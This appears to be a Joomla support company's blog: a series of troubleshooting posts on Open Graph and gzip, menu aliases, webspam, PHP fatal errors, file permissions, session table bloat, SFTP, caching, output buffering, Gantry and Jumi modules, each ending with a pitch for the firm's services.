Hmmm… That’s odd, because we could definitely see the og:type meta property in the HTML code. So we compared the website to another client’s website (which was working) the following way:

  • We created a file called test.html from the HTML source of the homepage of the non-working website.

  • We then created another file called test2.html from the HTML source of the homepage of the working website.

  • We uploaded both pages to the root directory of our client’s website (the website with the problem, of course).

  • We started removing code from both files while continuously testing those files on the Facebook’s Open Graph Object Debugger.

  • We reached a point where both files only had the basic HTML tags, and the og:type, og:title, and the og:description meta tags. For some reason, the problem was still there.

  • We then scrolled down to the bottom of the Facebook’s Open Graph Object Debugger page and we clicked on the See exactly what our scraper sees for your URL link (you can find this link under the URLs section next to the Scraped URL field). For some reason, the page with the problem showed a blank page (yes, we know, we don’t like blank pages too), but, the page that was OK was scraped properly.

  • We continued our research, and then, by coincidence, we noticed that even though the content of both files was the exact same, the page that was not working was double the size (in bytes) of the page that was working.

The last point completely puzzled us; why is it that one page is double the size of the other, despite having nearly the exact same content? We knew that by solving this riddle, we would solve the whole issue.

After doing some research, we discovered that HTML gzip compression can cause Facebook to become unable to scrape the website, and so we logged in to the backend of the Joomla site, went to the Global Configuration page, clicked on the Server tab, and changed the Gzip Page Compression value from “Yes” to “No”. We then clicked on Save on the top left.

We then tried to share the link on Facebook, and, surprisingly, the problem was solved! Additionally, Facebook’s URL Scraper was no longer displaying an empty page!

If you have problems sharing links on Facebook, and if you’re sure that all the Open Graph meta tags exist in your HTML code and are properly formatted, then try disabling GZip Page Compression on your Joomla website. If you still see the problem, then check the Facebook’s URL Scraper to see how Facebook sees your website – this should help a lot. If you need help from Joomla professionals to fix this problem, then you’re at the right place. Just contact us and we can solve the problem for you swiftly and for a very affordable price!

You Can’t Create a Menu Item Alias Pointing to Another Menu Item Alias

An established client emailed us this afternoon and told us that, in one of their menus, they had this link:

http://ourclientjoomlawebsite/?Itemid=500

The URL was returning a “404 – Component not found” error and they were confused as to why the problem was happening. We logged in to the backend of the site and we immediately discovered the problem:

  • Our client had a menu item pointing to an article, let’s call it Menu Item A.
  • They had a menu item, let’s call it Menu Item B, with an id of 500, that was a menu item alias to Menu Item A.

  • They had another menu item, Menu Item C, which was a menu item alias to Menu Item B.

If you have been using Joomla for a very long time, you would have guessed the error: you can’t make a menu item alias point to another menu item alias, what our client should have done was to point Menu Item C to Menu Item A.

But why can’t you point a menu item alias to another menu item alias?

Well, it’s because of a small bug in Joomla – Joomla must get the original menu item that a menu item alias is trying to point to, but it doesn’t. For example, in our example above, Joomla must automatically link Menu Item C to Menu Item A, but, again, it doesn’t. It’s not that hard to implement this feature by the way. We think that Joomla must take this into consideration in one of its next revisions, since this problem is the cause of much confusion, especially on very large sites, where it’s really hard to find the original menu item (large sites have literally dozens of menus and some menus have about 50 menu items).

Now, if you’re facing the same problem on your website, then make sure you are not pointing a menu item alias to another menu item alias. If you can’t find the original menu item, or if you just need help resolving this issue, then please contact us. We’re here to help, we always answer the phone, our work is top notch, and our fees are very competitive.

Internal Webspam on Websites – The Enemy Within!

Note: This post has some assumptions on how Google works since nobody, with the exception of a select secretive few at Google, is fully informed about the insides of Google’s search engine rankings. Please keep that in mind while reading this post.

One of our major clients told us that they lost in traffic to their #1 competitor. They told us to review their website and see if there’s anything that can be done technically that can improve its search engine rankings and restore the website’s former glory! The website, of course, was powered by Joomla.

We checked everything on the website: The speed was fast (but not that fast, and that’s why we’ll be doing a round of optimization soon), all the meta tags were there and they were OK, the website was up-to-date as well as all the extensions, the website was clean (it wasn’t hacked), and the website’s traffic didn’t fall by that much, but it did fall.

We then looked at the content, the first article was OK, the second article that we checked, however, was not. The second article merely consisted of a long tail keyword as a title, and a small sentence linking to another, much more lengthier article on the website. Hmmm…

We immediately emailed our client and told them that this practice of trying to lure long tail traffic using long tail keywords may work at first, but it will definitely backfire at one point, when Google starts thinking (and rightly so) that they’re trying to game the system. Google has a technical name for this practice; it calls it webspam. For those who don’t know, here’s how Google addresses webspam:

  1. It checks the reputation of the website. If it’s an established website with a high reputation (such as our client’s website), it gives it the benefit of the doubt. Neutral reputation/non-established websites get penalized swiftly.

  2. Since the website has a high reputation, Google considers these short posts as beneficial to the web’s ecosystem and will return them in top results; effectively granting more traffic to the website through these very short posts. Those writing content on the website are lured into thinking that their strategy is working, and so they start writing more and more of these short posts to claim more traffic.

  3. Once the traffic generated by these short posts is noticeable, Google will start thinking, “hmmm, are they really doing that?”, and so Google starts reducing the traffic generated by these posts.

  4. Once the traffic generated by these posts is significant to the traffic’s website, then Google will think, “they are doing that… And I’m going to do something about it.” At this point, Google will penalize the website.

  5. Once penalized, a website may take literally years to fully recover. During these years, the administrator should beg Google every month until Google thinks that it won’t be gamed again by that website.

Our client told us that they will stop writing these short posts immediately, and they asked us if it’s a good idea to delete the previous short posts they have written. We told them “No”, because if they did, then this will be a red flag for Google. We told them that what’s done is done, and that the most important thing is not to do it.

We will closely monitor our client’s traffic to see if improvement is made over the next few weeks. If the situation further deteriorates, then we might ask for more radical actions on the website, such as deleting these short posts.

Now, some of you might be asking, since this is internal webpsam, is there an external webspam? Well, yes. External webspam is when you do the exact same thing, but on a different website. So, for example, the person will create a blog on Wordpress, and will write one-sentence-posts over there (with long tail keywords), and then, in those posts, will link to his original website.

External webspam is less harmful than internal webspam because of 2 reasons: 1) Google is not 100% sure that the person writing these posts on the Wordpress blog is an administrator on the original website, and not some competitor trying to get the website penalized and 2) Google can easily discount all the links incoming from the Wordpress blog, without penalizing the original website.

If your established website (Joomla or non-Joomla) has started to lose some traffic, then you should check whether you are involved in the, ahem, webspam practice. If you are, then you should stop doing it immediately since not only you are not benefiting anyone out there, you are also harming your website. If you need help reviewing your website, then please contact us. Please note that our super affordable fees apply.

JTableInterface Has Changed in Joomla 3.3.1 and That Is Causing Problems

A new client called us yesterday and told us that he was seeing some blank pages on his Joomla website. Of course, we have discussed the blank page issue many times on this blog before, but, if you haven’t read any of our previous posts on blank pages, then, in short, here’s what causes them: A PHP fatal error.

So, we maximized error reporting (we changed the value of error reporting to maximum in the configuration.php located under the root directory of the website) and we checked the blank page again, and we saw the following error:

Fatal error: Declaration of DtrTable::load() must be compatible with that of JTableInterface::load() in /var/www/vhosts/[website-address]/httpdocs/administrator/components/com_dtregister/lib/dttable.php on line 214

Aha! A component that used to work no longer works because a very important interface no longer implements its methods the same way. That interface was the JTableInterface.

How did we fix the problem?

We fixed the problem by opening the dttable.php file located under the administrator/components/com_dtregister/lib and changing this function declaration:

function load($id, $reset = true)

to this one:

function load($id = null, $reset = true)

Now, the question is, how did we know that we had to make this particular change in the code to fix the problem? Well, since the DtrTable class extends the JTable class which implements the JTableInterface interface, all we needed to do was to look at the implementation of the load function in the JTableInterface interface in the interface.php file located under the libraries/joomla/table folder. That function was declared the following way:

public function load($keys = null, $reset = true);

Of course, once we fixed the problem, we had a very similar problem in another function in the same class and in other classes as well, and so we fixed them all (it was a very tedious job because it was all manual work). After something like 10 changes, the blank page was gone and the website was running smoothly again.

In our opinion, an even better solution to this problem was to update the problematic extension altogether, but we weren’t sure that the update will make things better or worse, and we didn’t have enough time to try. Additionally, we wanted our readers (that’s you!) to be able to fix the problem easily if it’s in a no-longer-supported-extension.

So, if you have the same problem on your website, then please try to update the affected extension first. If that doesn’t solve the problem, then the best thing that you can do is to manually implement the fix above. If that’s a bit above your head, then why not contact us? Our fees are affordable, our work is fast and professional, and you will gain some new friends who will genuinely care about your business!

How to Change the Default Sort Order of the Articles in Joomla’s Backend

Note: This post applies to both Joomla 2.5 and Joomla 3.x.
Warning: This post requires that you make a simple modification to a core Joomla file, which means that the next time you update Joomla, your changes might get overwritten and you will need to re-apply them.

We have many clients that literally have thousands of articles. One of the major annoyances that these clients experience is that, when they go to the Articles pages in Joomla’s backend (by going to Content -> Article Manager), the articles are sorted by title, and not by creation date.

Sorting by title is OK when you only have a few articles on your Joomla website, but if you’re adding 20 articles a day, then it becomes a problem. You will need the articles to be sorted by creation date descending. Of course, you can always click on the Date header twice in the Article Manager page to sort by creation date descending, but that’s not very efficient, is it?

Now, unfortunately, there is not a single setting in Joomla that allows the administrator to change the default sorting anywhere in the backend. So, to address this problem for our clients, we have done the following:

  • We opened the file articles.php located under the administrator/components/com_content/models folder.
  • We changed the following line (located in the populateState function):

    parent::populateState('a.title', 'asc');

    to:

    parent::populateState('a.created', 'desc');

  • We saved the file and uploaded it back.

  • That fixed the problem!

As we have mentioned in the beginning of the post, this fix is a core change. So, if you’re uncomfortable with that, don’t do it!

Final note: The above solution can be applied to nearly any view in Joomla where default ordering is the problem. Just open the associated model file (under the models directory of the component in question), and change the default ordering in the populateState function.

If you need help implementing the above solution, then please contact us. Our fees are super affordable, our work is professional and clean, and we’ll definitely have fun working together!

“500 Internal Server Error” on a Joomla Website After Using the Admin Tools Extension

This morning, we had a client calling us and saying that his website was displaying a “500 Internal Server Error” message. He told us that this started happening when he tried to fix the permissions by using Admin Tools, which is a well known Joomla extension that is used for security and fixing broken Joomla databases.

Before we start, we would like to point out that we’re not huge fans of Admin Tools, we have seen many websites getting completely broken when using some features of Admin Tools, which means that Admin Tools, in many cases, does the complete opposite of what it claims to do.

In any case, since this is an “Internal Server Error”, then this means that Apache must have logged what happened to the error log file. So, we checked the error log file by logging in to the cPanel of the website, and then clicking on Error Log link under the Logs section, and this is what we saw:

[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/500.shtml
[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] SoftException in Application.cpp:261: File "/home/[username]/public_html/index.php" is writeable by group
[Thu Jun 05 09:36:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/404.shtml

Aha! It seems that Admin Tools changed the permissions of the index.php file to be written by everyone, so we checked the filesystem, and to our horror (well, that’s an exaggeration, we weren’t really horrified, but we were shocked nonetheless), all the file and folder permissions were set to 777. From the cPanel’s File Manager, we changed the permissions of the index.php file located under the root directory of the website and the one located under the administrator folder to 644. We then changed the permissions on the administrator folder to 755. That allowed us to access the backend of the site.

We then logged in to the backend of the Joomla site, and we went to Components -> Admin Tools, and then we clicked on Permission Configuration. We discovered that the Default Permissions for both the Directories and the Files were set to 777. That causes a problem under suPHP (because suPHP thinks, and rightfully so, that these permissions are not safe). We changed the Default Permissions of the Directories and the Files to 755 and 644 respectively, and then we saved them (by clicking on Save Default Permissions), and then we went back to the main screen on Admin Tools, and we clicked on Fix Permissions. That completely fixed the problem!

If you have a “500 Internal Server Error” error (yes, we know, “error” is there twice) on your website after using the Admin Tools extension, then check your file permissions, if they’re all 777, then there is your problem! Just apply the above solution and you should be set. However, if you still have the same issue or if you think that our post is too technical, then please contact us. We will fix the problem for you in no time, our rates are super affordable, and we are the friendliest Joomla experts in the Milky Way!

A Flooded Session Table Can Dramatically Slow Down Your Joomla Site

About a week ago, a new client called us and told us that the her company’s corporate website is slow, very slow. So we checked the Slow Query Log (see here for more about it) on the website’s server, and we immediately noticed the issue. The log was literally over 200 MB in size and it was flooded with the below query:

INSERT INTO `#__session` (`session_id`, `client_id`, `time`) VALUES ('8ffe0d7f994614d079df29d747888213', 0, '1393575824');

Hmmm… We thought, why would such a simple query be flooding the Slow Query Log? It’s a very simple insert query, but then we checked the #__session table using phpMyAdmin, and then we discovered the real issue, the #__session table contained literally more than a million rows, and since there was a lot of indexes on that table, an insert to that table was taking a ridiculous amount of time, something like 15 seconds.

The short term solution was simple, we only needed to truncate the table (e.g. delete the all the rows in that table and completely reset its indexes), we did this by issuing the following command in phpMyAdmin:

TRUNCATE TABLE #__session

(Note: If you want to use the above command, then you will need to replace #__ with your table prefix.)

That fixed the problem! Now the question was, what caused the #__session table to contain these million rows in the first place?

Well, the site was huge; it was getting something like 30,000 visits every day, and, for those of you who don’t know, even if the visitor is a guest (e.g. not a logged in user), an entry in the #__session table is created for him. But, that still doesn’t explain why there was a million rows in that table, since Joomla should regularly delete expired sessions.

We examined the configuration settings of the website, and we noticed that the session lifetime was set to 1440, which means 1440 minutes (and not seconds, see here for more on Joomla’s inconsistency when it comes to cache time), which means a full day, which ultimately means that, since the website receives 30,000 visits a day, there shouldn’t be more than roughly 30,000 rows in the #__session table, right? Wrong!

First of all, the site receives a lot of invisible traffic (traffic from bots, spam, etc…), and second of all, Joomla is not very good at handling sessions efficiently. So, the same user can have multiple session entries in the database (this is because Joomla re-creates the session for the user on expiry, without removing the previous session).

So, what did we do to solve the problem? Well, we lowered Joomla’s session expiry date from 1440 minutes to 120 minutes (2 hours). This worked perfectly, and it wasn’t annoying to the staff working on the site, since the session is kept alive as long as the logged in staff member is not idle for more than 2 hours.

Note: We first suspected the session cleaning process had a bug in it and that it wasn’t cleaning the session table properly, but, after testing it, we discovered that we were wrong. The session cleaning process worked properly (it did work 50% of the time though because of a condition in the code, but that was more than enough).

If your website has some slowness issues, then a quick fix might be to lower the session lifetime in the configuration settings. If that didn’t work for you, then please contact us. We are experts at optimizing Joomla, we work fast, and we don’t charge much!

Using FTP on Your Joomla Website Can Result in Getting It Hacked

If you’re using FTP to upload files to your Joomla websites, then, you probably know that you’re not alone. The vast majority of Joomla websites allow for FTP access. What you probably do not know, is that you’re compromising the security of your Joomla website when you’re using FTP.

Why is that?

Well, because FTP sends the username and password for authentication (as well as every other request) in clear text, which means that anyone (or anything) eavesdropping on your connection would be able to steal those credentials and then probably use FTP to hack your website.

Now, the million dollar question is, can anyone eavesdrop on your connection?

The answer is no. Not anyone would be able to eavesdrop on your connection and read the FTP credentials when you send them to the server; it is only those people who are on the same network that have the ability to eavesdrop on your connection. But, and there’s always a but, if you have a machine infected with a trojan virus, then that virus can spy on your connection, and then send its findings home, e.g. to the person who infected the machine with the virus in the first place. That person would then, of course, use those credentials to hack your website.

So, what is a better alternative?

Well, SFTP, of course! SFTP stands for Secure File Transfer Protocol, which is the same concept as FTP, but instead of sending the commands to the server as raw text, it sends them as encrypted, making it extremely hard for anyone (or, again, anything) eavesdropping on the connection to tell what the login credentials are.

Is SFTP 100% secure?

Unfortunately, it is not, because if the machine establishing the SFTP connection has a virus that monitors keystrokes, then it wouldn’t be that hard for that virus to guess what kind of information is being transmitted to the server, and then sends that information “home” (e.g. to the hacker). However, SFTP remains far superior to FTP when it comes to security, since FTP is not secure at all.

Do all servers support SFTP by default?

Unfortunately, not. Try using the FTP username and password for your SFTP connection to check if you’re able to use SFTP. If you can’t, then you should tell your hosting company to ensure that the sshd process is running (in other words, you’re able to connect through ssh), and that your FTP username and password can also connect through SSH.

Is SFTP slower than FTP?

Definitely. This is because the SFTP protocol has to encrypt the data prior to sending it to the server. There’s also an additional network overhead since the transfers are done through SSH. SFTP is about 60% slower than FTP. However, speed shouldn’t be an issue unless you’re transferring large files.

Should the FTP service be stopped once you’re using SFTP?

Not necessarily, but it’s better to shut it down so that no one on your team uses it and compromises the security of your website.

If you’re having problems enabling SFTP on your Joomla website, then please contact us. We’ll be extremely happy to help. Note that our very affordable fees apply!

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING On the Joomla Site

Since the problem discussed in this post is becoming more common and is very critical, we have decided to start this post in reverse. We will first offer a very quick solution, and then we will discuss how we found the problem, and then finally offer a long term solution to the problem.

If you’re seeing one or more of the following errors on your Joomla website…

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING
Error loading component: com_login, 1
Error loading component: com_k2, 1

…then the super quick solution is to clear the Joomla cache, by logging in to the Joomla backend, and then going to Site -> Maintenance -> Clear Cache, and then clicking on the checkbox on the top (to select all cached items) and then clicking on Delete on the top right. This will fix the problem for the short term, but the problem might re-emerge again if the cause has to do with a problem on the server.

Now let us explain what happened yesterday afternoon. A new client called us and told us that only the homepage is working on his Joomla website, all the other links do not work. We thought, that’s a piece of cake; it’s definitely a corrupt .htaccess file, and that it was. But, there was an additional snag, the .htaccess file was hacked, which means that there was more to it. We cleaned up the .htaccess file, and we scanned the website for any other issues, but there were none. We informed the client that the website should be secured to ensure that hack won’t come back again and he authorized the work. Everything worked perfectly, but late at night, we started seeing the JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING error everywhere on the site.

We did a quick investigation and we realized that this error is thrown when there is a problem with caching, and so we thought that the cache was corrupt (which was true), so we cleared the cache, and that solved the problem.

However, about an hour later, we started seeing the same problem again. Hmmm… Clearing the cache (again) fixed the problem, but we knew it was only a matter of time until we see the same problem again! And, to our disappointment, we weren’t wrong. We saw the problem about 30 minutes later. What could it be?

We checked Apache’s error log by logging in through ssh to the server (as root) and issuing the following command (note that our client was using WHM):

tail -f error_log

The following line displayed on the console:

[27-May-2014 20:44:19 America/New_York] PHP Warning: PHP Startup: Unable to load dynamic library ‘/usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so’ – /usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so: cannot open shared object file: No such file or directory in Unknown on line 0

Aha! There was a problem with the MemCache Apache module, and that was causing the corruption in the cache. We immediately informed the hosting company and they took care of the problem by re-compiling the MemCache module.

So, what caused the MemCache module not to work all of a sudden?

It seems that when we told our client that his website was hacked, he informed his hosting company, and what they did was that they performed a PHP update, and some modules, such as the MemCache module, became incompatible with the new PHP version because they weren’t recompiled when PHP was updated.

If you’re having the same problem on your website, then try clearing your cache. If it only fixes the problem temporarily, then the problem might be something with your server. Check your Apache logs and inform your host. You can also contact us and we’ll do the work for you promptly, professionally, and for a very affordable fee.

Dropdowns Not Working in Joomla’s 1.5 Backend

We had a very odd task today. A client called us and told us that she can’t add a new article (or update an existing one) on her Joomla 1.5 website (yes, even in May of 2014 there are still many websites using Joomla 1.5), because both the section dropdown and the category dropdown are empty (so, when she tries to save, Joomla tells her that she must choose a section and a category first).

We checked the website and we immediately saw the problem. Not only that, there wasn’t a single dropdown working on the whole website! Any page in the admin section of the site requiring dropdowns did not work, because the dropdowns were all empty. So we started the investigation.

We first checked the file that was at the heart of the select input (dropdown) generation, which is the file select.php located under the libraries/joomla/html/html folder. In that file, we checked the function responsible for doing the whole job, which is the genericlist function. The function was returning an HTML string consisting of an empty dropdown, but the array being passed as a parameter was not empty. This confirmed our doubts that the problem had nothing to do with the database, but rather with the function itself – possibly a PHP issue? Let’s find out!

Now, since the function is not generating any option tags, then it means the problem was in this line:

$html .= JHTMLSelect::Options( $arr, $key, $text, $selected, $translate );

Luckily, the function options was in that very same file, so we checked it. The parameters passed to it were all OK, but that function wasn’t returning anything. Why?

So we added the following lines (for debugging) to the options function:

error_reporting(E_ALL);
ini_set('display_errors', '1');

And the magic happened! We started seeing the real issue when we refreshed the page; we saw these 2 errors:

Strict Standards: Non-static method JHTML::_() should not be called statically, assuming $this from incompatible context in /httpdocs/administrator/components/com_config/controllers/application.php on line 90

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::genericlist() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::option() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Aha! The problem was some outdated PHP code (PHP used to be tolerant to wrong code before, but it’s getting more and more stricter). In short, there were some non-static methods that were called statically.

So, how did we solve the problem?

Glad you asked! All we needed to do was to add the word static to the declaration of all the functions in the aforementioned select.php file, as well as to the function _ (underscore) in the html.php file (which is located under the /libraries/joomla/html/ folder), and to the function _ (also underscore) in the file methods.php (located under the libraries/joomla folder). So, for example, we changed the following line:

function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

to:

static function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

That fixed the problem!

But what caused the problem in the first place?

These problems are usually caused by a PHP update on the server. As mentioned earlier in this post, newer PHP versions are no longer tolerant to wrong/ambiguous PHP code.

If you need help implementing the above then please contact us. We will definitely fix the problem for you, we won’t charge you much, and we’ll do the work in no time!

Why Is It that Joomla Sometimes Doesn’t Show the Errors Even if Error Reporting Is Set to Maximum?

If you have have been working on Joomla for a long time, then most likely you ran into the situation where you’re seeing a blank page instead of your homepage. Under normal circumstances, changing the Error Reporting value (under Site -> Global Configuration -> Server) to Maximum will show the error(s) that is(are) causing the blank page issue. However, sometimes doing that will change nothing, you will still see a blank page.

Why?

Well, there are 2 causes of this issue:

  1. The @ error control operator: The @ error control operator, when prepending a PHP expression, will suppress all notices/warnings/errors that are incurred on that PHP expression. The only scenario where the @ control operator won’t work is when the PHP expression has a parse error.

    In 99% of the cases, the @ error control operator is not the cause of the blank page, simply because it is strictly used to suppress warnings, and not errors. But for the 1% of the cases where the @ error control operator is the cause of the blank page, it will be a nightmare to locate where the actual problem is. In short, you will have to search for all the files that contain the @ operator at the beginning of a line, and then debug these files one by one.

    Generally, we think that the usage of the @ error control operator indicates weak coding skills, so, if you have an extension that use it extensively, then you are better of with another extension that does more or less the same thing but coded more professionally.

  2. Output buffering: Before discussing this issue, let us explain, concisely, what is output buffering. PHP (the programming language that powers Joomla), by default, will send the output to the browser immediately when it is instructed to do so (for example, using the echo statement). If output buffering is turned on, then any output after the ob_start function call will be stored in a variable that is later retrieved using the function ob_get_contents. Note that output buffering will only end when ob_end_flush or ob_end_clean are called.

    Now, you might be wondering, why use output buffering?

    In the majority of scenarios, output buffering is used to ensure that you don’t see the “headers already sent” error or if you want to manipulate the output prior to displaying it (there’s also claims that the output processing will be faster because it’ll be done in one shot, but we reckon that the benefit claimed is negligible, if there’s one). The problem, however, is that since output buffering holds all output until the buffering ends, then you can’t see the (fatal) error if it happens before the buffering ends, and so you will see a blank page that will not go away even if you set the Error Reporting to Maximum.

    On the bright side, there are several ways to find what the error is (note that you must change Error Reporting to Maximum in your configuration for the below to work):

    1. Disable output buffering at the .htaccess level: All you need to do is open the .htaccess file, and then add the following line to the top:

      php_flag "output_buffering" off

      Adding the above line will ensure that output buffering will no longer work, and so you will see all the errors on your Joomla website.

    2. Disable output buffering in the php.ini file: You can disable output buffering by adding the following line to your php.ini file:

      output_buffering = Off

      Note that it is recommended that you disable output buffering at the site level, by copying the php.ini file to the root directory of your website, and then changing the setting there. This will ensure that you won’t affect other sites (that may need output buffering to work properly) running on the same server. Also note that this is equivalent to the above action, so, if you have the choice, then it’s better to disable output buffering in the .htaccess file (using the above method) instead of overriding the php.ini file.

    3. Search the filesystem for any instance of ob_start and comment it out: This is a tricky solution because you will then need to revert your changes once you find the culprit, but it will work.

    4. Instruct PHP to log errors to a file: Modify the php.ini file to log errors to a certain file by adding the following line:

      log_errors=/tmp/errors.log

      The above line will ensure that all errors are stored in the errors.log file under the tmp directory. You can then check the log file to see what the real error is.

    Note that the methods a & b above will most likely display errors about functions needing output buffering turned on. If this happens, then you will need to comment out those function calls as described in method c.

We hope that our post helped you in finding out what the mysterious cause of the blank page is. If you still can’t find out what the root cause is, even after applying all the above solutions, then please contact us. We’ll definitely find where the problem is in very little time and for a very affordable fee! What are your waiting for? Give us a call or shoot us an email!

Blank Page When Using a Gantry Template

A client called us yesterday evening and told us that he was getting a blank page when switching to a Gantry template. He told us that his website worked normally under a regular template, but, as soon as he switched to a Gantry template, he was seeing a blank page.

Before going into the details, we would like to express our opinion about Gantry templates, we don’t like them much – we don’t hate them but we don’t like them much. The level of abstraction they add to the templates is ridicilous, and it makes debugging anything a nightmare.

Now, going back to the real issue, it was very easy for us to reproduce the error, all we needed to do was to switch to a Gantry template. We immediately started debugging the issue, and we found that the problem started with the following line in the index.php file located under the templates/[gantry-template-name] folder:

<?php echo $gantry->displayMainbody(’mainbody’,’sidebar’,’standard’,’standard’,’standard’,’standard’,’standard’); ?>

Naturally, we searched for the function displayMainbody, and we found it in the gantry.class.php file under the /libraries/gantry/core folder. The problematic line in that function was a call to the static method display on the GantryMainBodyRenderer class. That method was defined in the file gantrymainbodyrenderer.class.php in the folder /libraries/gantry/core/renderers.

We finally narrowed down the problem to the function $gantry->renderLayout, which is responsible for rendering modules. And then it struck us, it was a rogue module that was causing this problem. That module was only being used by the Gantry template and not by other templates. So, in order to know which module it was, we added the following lines to show all the errors:

error_reporting(E_ALL);
ini_set('display_errors', '1');

That allowed us to see the real error, it was this one:

Fatal error: Call to undefined method JDate::toMySQL() in /home/[website-user]/public_html/modules/mod_mt_listing/helper.php on line 126

The error was obviously in a Mosets Tree module (which is not a great extension by all accounts). Fixing the error consisted of simply changing all occurrences from JDate::toMySQL to JDate::toSQL . That was it!

So, the next time you’re seeing a blank page when you’re using a Gantry Template (on the frontend, we’ve discussed the same issue on the backend before), then most likely this is a module. Try disabling the published modules, one by one, until the problem is resolved.

If you really need the problematic module, and you need help fixing it (rather than just disabling it), then please contact us. We have fixed so many extensions and we’re sure we’ll be able to fix yours (even if it’s home-made). Our work is extremely fast and clean, our prices are right, and our target is to keep you as a long term happy customer!

Jumi Module Stripping Out Code: How to Fix

Ah, Jumi! The simple yet very powerful extension that allows you to add code anywhere on your website. We’ve used this extension thousands of times so far and we’ll sure to use it thousands more, at least until Joomla has a built-in extension that does the same thing.

From our experience, Jumi is almost perfect! “Why is it not perfect?”, we hear you ask. Well, because some of its features don’t work by default, you have to fix them first. For example, the Jumi module strips out code by default (and that is true even if you ensured that your Joomla user belongs to a group that has no HTML filtering in Joomla’s configuration), which defies the whole point. The cause of this issue is that the type of input for Code Written in a Jumi module is set to be filtered, which means that no matter which settings you change to make that Jumi module accept code (such as PHP code and JavaScript code), you won’t be able to!

Luckily this bug can be solved very easily. Here’s how:

  • Open the file mod_jumi.xml located under the modules/mod_jumi folder in your Joomla website.

  • Change the following line:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" />

    to:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" filter="raw"/>

  • That’s it!

After doing the above, you will be able to enter code – any code – freely in your Jumi module because no filtering whatsoever will be applied.

Of course, we think that this bug is weird, and the fact that no one has reported it so far is even weirder, considering the number of people who use this extension on a regular basis. Nevertheless, we’ve seen even weirder things, so we’re not that surprised. We hope that this bug will be fixed in the next version of Jumi (we’re not that optimistic though, since the bug has been there for years).

In any case, if you’re trying to add code to your Jumi module but that code is being stripped out, then please try the above solution. If you have tried it but with no avail, then all you need to do is to contact us. Our prices are right, our work is professional, and we are the friendliest programmers in the whole wide world (e.g. in the www)!

Why You Should Only Use SEF Links in Your Content

When migrating a website from a version of Joomla to another version, one of the extremely challenging issues that we face is maintaining the link structure. Yes, we know, having the same link structure should be seamless when migrating a Joomla website, but in most cases, it is not. Here’s why…

Many Joomla administrators use non-SEF links for linking to other pages. For example, if they want to link to a certain article, they use the following link: index.php?option=com_content&view=article&ItemId=101&id=5, which is then translated by the SEF system plugin to something like http://www.[joomla-website].com/my-fifth-article.html. Now, this practice is OK when you want to keep the same website and the same Joomla version forever, but it fails miserably the second you want to migrate to a different version of Joomla. Let us explain further…

When you migrate a Joomla website to a different version, it is sometimes impossible to maintain the same IDs in the new version without a lot of manual work. For example, the ID of the article will not be the same, as well as the ItemId of the menu item pointing to that article (or the category of the article). Hence, when the SEF system plugin runs on the same non-SEF URL above on the new website, the resulting SEF URL may be completely different (or may not even work, especially if the old ID of the article no longer exists in the migrated website). This issue alone frustrates Joomla administrators the first time they attempt a migration which results in them reverting back to the previous version of Joomla and hoping that the world will end before their Joomla website gets hacked (a website using an old version of Joomla is just waiting to be hacked, if it’s not already hacked).

So, what’s the solution to this problem?

Well, the ideal solution is to always use SEF links to point to your content (articles, categories, contacts, etc…) from within your content, instead of using non-SEF links.

But, if you’re already at the point where it’s too late (you’re migrating your Joomla website and you have non-SEF links in your content), then you have 2 options:

      Create a script that will replace non-SEF links with SEF links in your old content before migrating your content to your new Joomla website.

    1. Create a script that will replace old IDs with new IDs and old ItemIds with new ItemIds after migrating your content to your new Joomla website.

    We prefer the first option over the second option, although both will take more or less the same time. The first option is better, in our opinion, because it will get rid of the problem once and for all. If you use the second option, then you will run into the same problem when you migrate your Joomla website to a newer version in the future.

    If you need help implementing any of the solutions above, then that’s what we’re here for. Just contact us and rest assured that we will do the work for you promptly, professionally, and for a very competitive fee!

How to Hide a Module in Articles but Show It in the Parent Category

Joomla is a very powerful CMS (much more powerful than WordPress, in our humble opinion), but there are some basic things that cannot be done easily. For example, one of our clients told us that they wanted to display a few modules only on the category blog page, but not on the child categories. They had a category called Vacations, and articles such as Amsterdam, London, Paris, etc… and they only wanted to display a few modules on the Vacations category blog page, but not on the Paris page.

Those who have been using Joomla for a long time know how modules are displayed on a page: they are assigned to a Menu Item Id, and they are displayed only for that Menu Item Id. In a default installation of Joomla and for articles who don’t have unique Menu Items, the Menu Item Id of those articles is the same as the parent category, which means that the modules appearing on the parent category will also display on those articles.

But, if what if you don’t want to display those modules on child articles?

Unfortunately, there’s no way from within Joomla to do this. However, you can do this by making adjustments to your template. Here’s how:

  • You create module positions in the template that should show up only on the category page.

  • You add a condition, in the template, to display these modules on category pages, and not on article pages.

Here’s how to do this technically:

  • Open the file index.php located under the templates/[template-name] folder on your Joomla website.

  • In the desired location, add the following code:

    <?php if (JRequest::getVar( 'view' ) != 'article') : ?>
    <jdoc:include type="modules" name="[module-position-name]" />
    <?php endif; ?>

  • Upload the index.php back to the templates/[template-name] folder.

  • Assign your modules to the [module-position-name].

  • Browse your website and you will notice that these modules will not appear on article pages, just category pages.

Is there another way for doing this?

If you’re using a basic Joomla instance, then no, there isn’t any other way. However, if you’re using sh404SEF, then there are other ways to do this, but not as clean or stable (basically you will need to modify the ItemID in the category/article URLs. Works but not a great idea and not something that we recommend).

If you want to do the above but you lack the technical skills, then all you need to do is to contact us. We can do this for you in no time, we will not charge you much, and we are really, really friendly!

References – When We Provide Them to Potential Clients and When We Don’t

We got a call late at night yesterday from a new client. The client was frustrated with the current development company that she’s working (she wanted to create a small extension on her Joomla website and the development company kept delaying the project), and that’s why she called us…

